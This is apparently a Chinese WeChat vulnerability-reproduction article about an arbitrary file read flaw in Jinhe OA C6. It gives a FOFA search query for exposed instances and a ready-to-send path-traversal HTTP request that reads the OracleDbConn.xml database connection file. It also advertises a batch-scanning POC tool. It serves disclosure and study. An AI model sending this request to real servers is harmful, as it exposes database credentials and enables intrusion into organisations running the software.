[南风漏洞复现文库]-2023-11-3-​金和OA存在任意文件读取漏洞 附POC.md

​金和OA存在任意文件读取漏洞 附POC

原创 南风徐来 南风漏洞复现文库

南风漏洞复现文库

微信号 gh_a9e9b8a80c70

功能介绍 分享各种CVE CNVD CNVD及最新漏洞信息、漏洞复现、漏洞利用工具、漏洞整改等内容，适合安全运维人员，网络安全方面的人交流学习。

---

__发表于

收录于合集 #漏洞文库 87个

免责声明：请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。

1. 金和OA简介

微信公众号搜索：南风漏洞复现文库 该文章 南风漏洞复现文库 公众号首发

金和数字化智能办公平台（简称JC6）是一款结合了人工智能技术的数字化办公平台，为企业带来了智能化的办公体验和全面的数字化转型支持。同时符合国家信创认证标准，支持组织数字化转型，实现业务流程的数字化、智能化和协同化，提高企业竞争力。

2.漏洞描述

金和OA协同办公管理系统C6软件（简称金和OA），本着简单、适用、高效的原则，贴合企事业单位的实际需求，实行通用化、标准化、智能化、人性化的产品设计，充分体现企事业单位规范管理、提高办公效率的核心思想，为用户提供一整套标准的办公自动化解决方案，以帮助企事业单位迅速建立便捷规范的办公环境。该系统存在任意文件读漏洞。

CVE编号:

CNNVD编号:

CNVD编号:

3.影响版本

金和OA协同办公管理系统C6

金和OA存在任意文件读取漏洞

4.fofa查询语句

app="金和网络-金和OA"

5.漏洞复现

漏洞链接：http://127.0.0.1/C6/JHSoft.WCF/FunctionNew/FileUploadMessage.aspx?filename=../../../C6/JhSoft.Web.Dossier.JG/JhSoft.Web.Dossier.JG/XMLFile/OracleDbConn.xml

漏洞数据包：

GET /C6/JHSoft.WCF/FunctionNew/FileUploadMessage.aspx?filename=../../../C6/JhSoft.Web.Dossier.JG/JhSoft.Web.Dossier.JG/XMLFile/OracleDbConn.xml HTTP/1.1  
Host: 127.0.0.1  
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)  
Accept: */*  
Connection: Keep-Alive

6.POC&EXP

关注公众号 南风漏洞复现文库 并回复 漏洞复现68 即可获得该POC工具下载地址：

---

批量扫描POC及POC工具箱已经上传知识星球：南风网络安全

7.整改意见

请联系厂家 http://www.jinher.com/升级

8.往期回顾

大华智慧园区综合管理平台存在敏感信息泄露漏洞

致远OA存在任意文件读取漏洞 附POC

预览时标签不可点

微信扫一扫
关注该公众号

轻触阅读原文

继续滑动看下一个

知道了

微信扫一扫
使用小程序

---

取消 允许

---

取消 允许

： ， 。 视频 小程序 赞 ，轻点两下取消赞 在看 ，轻点两下取消在看